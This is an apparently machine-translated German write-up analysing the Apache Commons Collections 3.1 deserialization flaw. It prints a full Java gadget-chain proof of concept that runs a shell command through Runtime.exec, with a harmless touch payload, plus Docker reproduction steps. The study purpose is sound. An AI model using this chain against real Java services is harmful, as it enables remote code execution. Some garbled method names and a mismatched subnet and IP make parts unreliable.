Vollständige Schwachstellen-Mining-Bedingungsanalyse und Schwachstellenreproduktion.
Versionen mit Sicherheitslücken: Apache Commons Collections 3.2.1 oder niedriger, [JDK-Version: 1.7.0_80] Apache Maven 3.6.3.
POC-Kerncode:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
Transformer-Schnittstellenimplementierungsklasse-InvokerTransformer(), die jede Funktion aufrufen kann.
Um Runtime.getRuntime().exec(cmd) zu implementieren, müssen Sie den Transformer mehrmals aufrufen und das aktuelle Rückgabeergebnis als nächste Eingabeinformation verwenden.
Um Runtime.getRuntime() aufzurufen, betrachten Sie die ConstantTransformer-Klasse, die die Eingabeparameter direkt als Ausgabe verwenden kann.
ChainedTransformer Als Implementierungsklasse verwendet es für das empfangene Transformer-Array eine eigene Transformationsmethode (die Parameter werden vom Benutzer eingegeben), um das Transformer-Array-Objekt nacheinander zu verarbeiten und das Ergebnis als Eingabeparameter für das nächste zu verwenden wiederholter Anruf. Seine transform()-Methode kann die Sicherheitslücke auslösen.
Um den Deserialisierungspfad zu finden, d. h. die eingelesenen Daten werden deserialisiert und ausgeführt, suchen Sie dann nach dem Pfad, der die .transform()-Methode des ChainedTransformer-Objekts in umgekehrter Reihenfolge auslösen kann.
Die HashMap-Klasse kann Daten in Schlüssel-Wert-Paaren speichern, und die Methode put(key, value) kann Daten speichern.
Die Funktion der TransformedMap-Klasse besteht darin, Schlüssel-Wert-Paare zu speichern und in Transformationsobjekte umzuwandeln. Die decor()-Methode kann Schlüssel-Wert-Paare erstellen und die checkSetValue()-Methode löst die Anweisung this.valueTransformer.transform() aus . Suchen Sie in umgekehrter Reihenfolge, um checkSetValue() [1] aufzurufen, um this.valueTransformer zu einem ChainedTransformer-Objekt zu machen [2].
Für [2] kann die statische Methode decor() der TransformedMap-Klasse das Ziel erreichen.
Für [1] führt diesetValue-Methode der MapEntry-Klasse der AbstractInputCheckedMapDecorator-Klasse this.parent.checkSetValue(value) aus, dann sollte this.parent auf das TransformedMap-Objekt [3] gesetzt werden.
Für [3], Vorwärtsanalyse dieses Codes im POC:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
Untersuchungen zeigen, dass während des Ausführungsprozesses das TransformedMap-Objekt this.parent in der AbstractInputCheckedMapDecorator-Klasse viele Male zugewiesen wird und das Map.Entry-Objekt ebenfalls zurückgegeben, was für die Ausführung genau richtig ist. Die Methode setValue() löst die Sicherheitslücke aus.
Um die Vielseitigkeit zu verbessern, müssen wir einen Weg finden, die Schwachstelle beim Aufrufen der Deserialisierungsmethode auszulösen. Daher sollten wir nach einem Klassenobjekt suchen, das „Deserialisierung readObject() überschreiben“ und „setValue()“ der Map ausführt Klassenobjektvariable Gleichzeitig kann diese Variable Schlüsselwertdaten steuern. Die AnnotationInvocationHandler-Klasse erfüllt diese Anforderung [sie ruft setValue() für jeden Eintrag einer Mitgliedsvariablen vom Typ Map auf]. Die Funktion
Class.forName() dient zum Laden von Klassen.
Erneut analysieren, für [1], Vorwärtsanalyse des Kerncodes im POC:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
Untersuchungen zeigen, dass der Ausführungsprozess die setValue-Methode der statischen MapEntry-Klasse ausführt und dazu die enterSet-Methode ausführt. parent=TransformedMap-Objekt, löst somit eine Sicherheitslücke aus.
Im Allgemeinen lautet die Idee für die Vorwärts-POC-Konstruktion: Erstellen Sie zuerst das ChainedTransformer-Objekt, erstellen Sie dann das Map-Objekt, speichern Sie dann das ChainedTransformer-Objekt mithilfe der TransformedMap-Klasseninstanz im Map-Klassenobjekt und rufen Sie dann die Initialisierung des Map-Klassenobjekts ab die Reflection-Methode Eine Instanz der AnnotationInvocationHandler-Klasse, um sie zu serialisieren.
Laden Sie das erstellte Docker-Image herunter, verwenden Sie den folgenden Befehl:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
Legen Sie das LAN und die Container-IP fest, starten Sie den Container, Beispiel:
(1) Passen Sie das Netzwerk an
docker network create --subnet=192.168.10.1/24 testnet
(2) Starten Sie das Docker-Container
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
Führen Sie im Container [Apache-Commons-Collections] den Befehl [java -jar commons-collections-3.1.jar] aus und die Datei [CommonsCollections3.1] wird generiert, wie unten gezeigt.
Das obige ist der detaillierte Inhalt vonSo analysieren und reproduzieren Sie die Deserialisierungsschwachstelle in Apache Commons Collections. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!